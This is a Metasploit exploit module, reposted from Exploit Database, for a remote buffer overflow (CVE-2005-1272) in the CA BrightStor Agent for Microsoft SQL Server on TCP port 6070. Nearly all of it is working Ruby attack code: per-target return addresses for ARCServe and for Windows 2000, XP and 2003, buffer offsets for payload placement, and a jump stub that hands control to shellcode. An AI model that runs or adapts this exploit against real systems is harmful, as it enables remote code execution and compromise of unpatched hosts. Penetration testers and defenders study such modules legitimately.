CA BrightStor Agent for Microsoft SQL – Remote Overflow (Metasploit)

• Exploit Database
• 7 阅读

• 作者： Metasploit
  日期： 2010-04-30
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16403/

• ##
  # $Id: sql_agent.rb 9179 2010-04-30 08:40:19Z jduck $
  ##
  
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = AverageRanking
  
  	include Msf::Exploit::Remote::Tcp
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'CA BrightStor Agent for Microsoft SQL Overflow',
  			'Description'=> %q{
  					This module exploits a vulnerability in the CA BrightStor
  				Agent for Microsoft SQL Server. This vulnerability was
  				discovered by cybertronic[at]gmx.net.
  			},
  			'Author' => [ 'hdm' ],
  			'License'=> MSF_LICENSE,
  			'Version'=> '$Revision: 9179 $',
  			'References' =>
  				[
  					[ 'CVE', '2005-1272'],
  					[ 'OSVDB', '18501' ],
  					[ 'BID', '14453'],
  					[ 'URL', 'http://www.idefense.com/application/poi/display?id=287&type=vulnerabilities'],
  					[ 'URL', 'http://www3.ca.com/securityadvisor/vulninfo/vuln.aspx?id=33239'],
  				],
  			'Privileged' => true,
  			'Payload'=>
  				{
  					'Space'=> 1000,
  					'BadChars' => "\x00",
  					'StackAdjustment' => -3500,
  				},
  			'Targets'=>
  				[
  					# This exploit requires a jmp esp for return
  					['ARCServe 11.0 Asbrdcst.dll 12/12/2003', { 'Platform' => 'win', 'Ret' => 0x20c11d64 }], # jmp esp
  					['ARCServe 11.1 Asbrdcst.dll 07/21/2004', { 'Platform' => 'win', 'Ret' => 0x20c0cd5b }], # push esp, ret
  					['ARCServe 11.1 SP1 Asbrdcst.dll 01/14/2005', { 'Platform' => 'win', 'Ret' => 0x20c0cd1b }], # push esp, ret
  
  					# Generic jmp esp's
  					['Windows 2000 SP0-SP3 English',{ 'Platform' => 'win', 'Ret' => 0x7754a3ab }], # jmp esp
  					['Windows 2000 SP4 English',{ 'Platform' => 'win', 'Ret' => 0x7517f163 }], # jmp esp
  					['Windows XP SP0-SP1 English',{ 'Platform' => 'win', 'Ret' => 0x71ab1d54 }], # push esp, ret
  					['Windows XP SP2 English',{ 'Platform' => 'win', 'Ret' => 0x71ab9372 }], # push esp, ret
  					['Windows 2003 SP0 English',{ 'Platform' => 'win', 'Ret' => 0x71c03c4d }], # push esp, ret
  					['Windows 2003 SP1 English',{ 'Platform' => 'win', 'Ret' => 0x71c033a0 }], # push esp, ret
  				],
  			'DisclosureDate' => 'Aug 02 2005',
  			'DefaultTarget' => 0))
  
  		register_options(
  			[
  				Opt::RPORT(6070)
  			], self.class)
  	end
  
  
  	def exploit
  
  		print_status("Trying target #{target.name}...")
  
  		# The 'one line' request does not work against Windows 2003
  		1.upto(5) { |i|
  
  			# Flush some memory
  			connect
  			begin
  				sock.put("\xff" * 0x12000)
  				sock.get_once
  			rescue
  			end
  			disconnect
  
  
  			# 3288 bytes max
  			#696 == good data (1228 bytes contiguous) @ 0293f5e0
  			# 3168 == return address
  			# 3172 == esp @ 0293ff8c (2476 from good data)
  
  			buf = rand_text_english(3288, payload_badchars)
  			buf[ 696, payload.encoded.length ] = payload.encoded
  			buf[3168, 4] = [target.ret].pack('V')# jmp esp
  			buf[3172, 5] = "\xe9\x4f\xf6\xff\xff"# jmp -2476
  
  			connect
  			begin
  				sock.put(buf)
  				sock.get_once
  			rescue
  			end
  
  			handler
  			disconnect
  		}
  	end
  
  end